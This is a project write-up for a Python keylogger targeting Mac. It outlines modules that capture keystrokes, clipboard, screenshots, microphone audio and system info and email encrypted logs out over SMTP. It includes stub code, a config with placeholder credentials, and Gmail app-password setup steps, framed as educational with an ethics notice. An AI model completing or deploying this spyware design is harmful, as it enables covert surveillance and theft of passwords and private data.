**MAC Keylogger Project**

## Project Overview

**What is a keylogger?**

A **keylogger** (short for *keystroke logger*) is a type of surveillance tool or software that records the keys pressed on a keyboard in real time. In cybersecurity research and system monitoring, keyloggers can be used for legitimate purposes such as usability testing, employee activity auditing, or parental control. However, they are also commonly associated with malicious intent when used to capture sensitive data such as passwords, credit card numbers, or private messages without user consent.

This project is a multi-functional keylogger developed in Python, designed for educational and ethical hacking purposes only.  
It collects keystrokes, screenshots, clipboard contents, microphone recordings, and system information, then sends encrypted log files via email at regular intervals.

**Features**

- Keystroke logging  
- Clipboard content capture  
- Screenshot capture  
- Microphone audio recording  
- System info collection  
- Encrypted log storage using Fernet  
- Email log delivery  
- Periodic task scheduler

**Technologies Used**

- Python 3.x  
- pynput, sounddevice, scipy, smtplib, email, cryptography, threading, platform, socket, getpass, pyperclip, pyautogui

**Legal and Ethical Notice:**

This tool must only be used on systems you own or have explicit permission to monitor. Unauthorized use of keyloggers is illegal and unethical. This is intended for educational purposes such as security research or learning how attackers operate so you can better defend systems.

**Project Structure**

**Root Directory**

* main.py — Entry point; coordinates module execution and task scheduling.
* config.py — Centralized settings for email, encryption, and timing.
* requirements.txt — Lists all Python dependencies.
* README.md — Project overview, installation steps, and ethical guidelines.
* .gitignore — Prevents tracking of sensitive or generated files.

**modules/**

Modular components for different data collection and transmission tasks:

* logger.py — Logs all keystrokes using the pynput library.
* system\_info.py — Gathers hostname, IP, OS version, and user details.
* clipboard.py — Extracts the current clipboard content.
* microphone.py — Records audio from the default mic and saves as .wav.
* screenshot.py — Captures a screenshot of the desktop.
* emailer.py — Sends collected logs via SMTP email.
* encryptor.py — Encrypts files using cryptography.fernet.
* timer.py — Runs periodic tasks (e.g., email sending, screenshots).

**logs/**

Stores all captured and generated data:

* keylog.txt — Raw keystroke data.
* systeminfo.txt — Device and system metadata.
* clipboard.txt — Clipboard history logs.
* audio.wav — Microphone audio recordings.
* screenshot.png — Screenshots of desktop activity.
* encrypted\_data/ — Holds encrypted copies of logs before emailing.

## main.py – Program Orchestration

def main():  
 print("Keylogger starting...")  
  
 # Initial system data collection  
 system\_info.collect()  
 clipboard.capture()  
 screenshot.capture()  
 microphone.record()  
  
 # Start keylogger in background thread  
 start\_logger\_thread()  
  
 # Schedule periodic tasks  
 schedule\_every(email\_interval, emailer.send\_logs)  
 schedule\_every(screenshot\_interval, screenshot.capture)  
 schedule\_every(mic\_interval, microphone.record)  
  
 # Keep program alive  
 while True:  
 time.sleep(10)

## logger.py – Keystroke Logging

def write\_to\_file(key):  
 # Convert special keys (space, backspace, etc.)  
 # Format timestamp  
 # Append to logs/keylog.txt  
 pass  
  
def start():  
 # Start keyboard listener  
 # Call write\_to\_file on every key press  
 pass

## system\_info.py – System Metadata

def collect():  
 # Get hostname, IP address, platform info, username  
 # Write all to logs/systeminfo.txt  
 pass

## clipboard.py – Clipboard Content

def capture():  
 # Read current clipboard content using pyperclip  
 # Append with timestamp to logs/clipboard.txt  
 pass

## microphone.py – Audio Recorder

def record(duration=10):  
 # Record audio for `duration` seconds  
 # Save as logs/audio.wav  
 pass

## screenshot.py – Screen Capture

def capture():  
 # Take screenshot using pyautogui  
 # Save to logs/screenshot.png  
 pass

## emailer.py – Send Logs via Email

def send\_logs():  
 # Attach log files to email  
 # Use SMTP to login and send  
 # Print confirmation or errors  
 pass

## encryptor.py – Encrypt Files (Optional)

def encrypt\_files():  
 # For each log file:  
 # Read bytes  
 # Encrypt using Fernet  
 # Write to logs/encrypted\_data/  
 pass

## timer.py – Periodic Task Scheduler

def schedule\_every(interval, function):  
 # Wait for `interval` seconds  
 # Run the function  
 # Reschedule itself to run again  
 pass

**Config.py**

# === Time settings (in seconds) ===

EMAIL\_INTERVAL = 120 # Send logs every 10 minutes

SCREENSHOT\_INTERVAL = 300 # Take a screenshot every 5 minutes

MIC\_INTERVAL = 900 # Records microphone every 15 munutes

MIC\_DURATION = 10 # Dureation of audio recording

ENABLE\_PERIODIC\_TASK = True # Toggle periodic task on/off

# === EMAIL CONFIGURATION ===

EMAIL\_ADDRESS = "your\_email@example.com"

EMAIL\_PASSWORD = "your\_app\_password"

EMAIL\_RECEIVER = "receiver@example.com"

SMTP\_SERVER = "smtp.gmail.com"

SMTP\_PORT = 587

# === Encryption key (use Fernet.generate\_key() to generate once and copy it here)

FERNET\_KEY = b'your\_generated\_key\_here'

**App password**

gmail:

1.sign in

2. make sure two-factor authentication is enable

3. search app password

4. add app name ex: Keylogger

5. copy and paste the 16 charcater password into “email\_password”

**Fernet key** is used for **encrypting and decrypting sensitive data**, like your keylogger's logs, to ensure that even if someone accesses the files, they **can’t read them without the key**.

**How to generate a Fernet key**

Run this once in a Python shell:

from cryptography.fernet import Fernet

key = Fernet.generate\_key()

print(key)

Copy that and paste it into config.py:

python

Copy code

FERNET\_KEY = b'your\_fernet\_generated\_key\_here'